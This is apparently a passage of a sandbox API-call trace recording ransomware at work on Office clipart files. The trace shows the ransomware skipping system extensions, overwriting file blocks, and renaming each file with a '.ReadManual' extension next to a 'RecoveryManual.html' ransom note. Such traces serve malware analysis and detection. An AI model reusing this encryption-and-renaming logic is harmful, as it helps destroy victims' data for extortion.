lstrcmpiW (lpString1="BS00092_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.881] StrStrIW (lpFirst="BS00092_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.881] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.881] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.881] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" [0260.881] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ReadManual.5A595725" [0260.882] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ReadManual.5A595725") returned 87 [0260.882] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38155221103) returned 1 [0260.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0260.884] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.884] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7974) returned 1 [0260.884] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f26, lpName=0x0) returned 0x184 [0260.884] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.885] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.885] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.887] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.887] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f26) returned 0x2f0000 [0260.887] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.887] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38155581449) returned 1 [0260.887] CloseHandle (hObject=0x184) returned 1 [0260.887] SetSecurityInfo () returned 0x57 [0260.887] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.887] CloseHandle (hObject=0x194) returned 1 [0260.889] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0260.889] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00100_.WMF" | out: lpString1="BS00100_.WMF") returned="BS00100_.WMF" [0260.889] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.889] StrStrIW (lpFirst="BS00100_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.889] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.889] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.889] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" [0260.889] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ReadManual.5A595725" [0260.889] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ReadManual.5A595725") returned 87 [0260.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38155824785) returned 1 [0260.890] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0260.890] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.890] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2378) returned 1 [0260.890] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94a, lpName=0x0) returned 0x184 [0260.890] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.891] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.891] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.892] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.892] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94a) returned 0x2f0000 [0260.892] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.893] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38156136128) returned 1 [0260.893] CloseHandle (hObject=0x184) returned 1 [0260.893] SetSecurityInfo () returned 0x57 [0260.893] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.893] CloseHandle (hObject=0x194) returned 1 [0260.893] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0260.893] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00135_.WMF" | out: lpString1="BS00135_.WMF") returned="BS00135_.WMF" [0260.893] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.893] StrStrIW (lpFirst="BS00135_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.894] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.894] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.894] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" [0260.894] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ReadManual.5A595725" [0260.894] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ReadManual.5A595725") returned 87 [0260.894] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38156276667) returned 1 [0260.894] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0260.894] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.894] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1044) returned 1 [0260.894] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x414, lpName=0x0) returned 0x184 [0260.894] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.895] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.895] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.897] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.897] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x414) returned 0x2f0000 [0260.897] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.897] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38156569661) returned 1 [0260.897] CloseHandle (hObject=0x184) returned 1 [0260.897] SetSecurityInfo () returned 0x57 [0260.897] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.897] CloseHandle (hObject=0x194) returned 1 [0260.898] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0260.898] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00136_.WMF" | out: lpString1="BS00136_.WMF") returned="BS00136_.WMF" [0260.898] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.898] StrStrIW (lpFirst="BS00136_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.898] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.898] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.898] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" [0260.898] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ReadManual.5A595725" [0260.898] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ReadManual.5A595725") returned 87 [0260.898] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38156709469) returned 1 [0260.898] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0260.899] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.899] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2166) returned 1 [0260.899] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x876, lpName=0x0) returned 0x184 [0260.899] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.899] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.899] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.901] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.901] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x876) returned 0x2f0000 [0260.901] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.901] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38157028304) returned 1 [0260.902] CloseHandle (hObject=0x184) returned 1 [0260.902] SetSecurityInfo () returned 0x57 [0260.902] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.902] CloseHandle (hObject=0x194) returned 1 [0260.902] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0260.902] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00145_.WMF" | out: lpString1="BS00145_.WMF") returned="BS00145_.WMF" [0260.902] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.902] StrStrIW (lpFirst="BS00145_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.903] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.903] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.903] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" [0260.903] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ReadManual.5A595725" [0260.903] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ReadManual.5A595725") returned 87 [0260.903] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38157177577) returned 1 [0260.903] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0260.904] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.904] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1712) returned 1 [0260.904] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b0, lpName=0x0) returned 0x184 [0260.904] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.905] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.905] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.907] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.907] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b0) returned 0x2f0000 [0260.907] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.907] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38157578427) returned 1 [0260.907] CloseHandle (hObject=0x184) returned 1 [0260.907] SetSecurityInfo () returned 0x57 [0260.907] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.907] CloseHandle (hObject=0x194) returned 1 [0260.909] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0260.909] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00174_.WMF" | out: lpString1="BS00174_.WMF") returned="BS00174_.WMF" [0260.909] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.909] StrStrIW (lpFirst="BS00174_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.909] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.909] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.909] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" [0260.909] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", lpString2=".ReadManual.5A595725" | out: 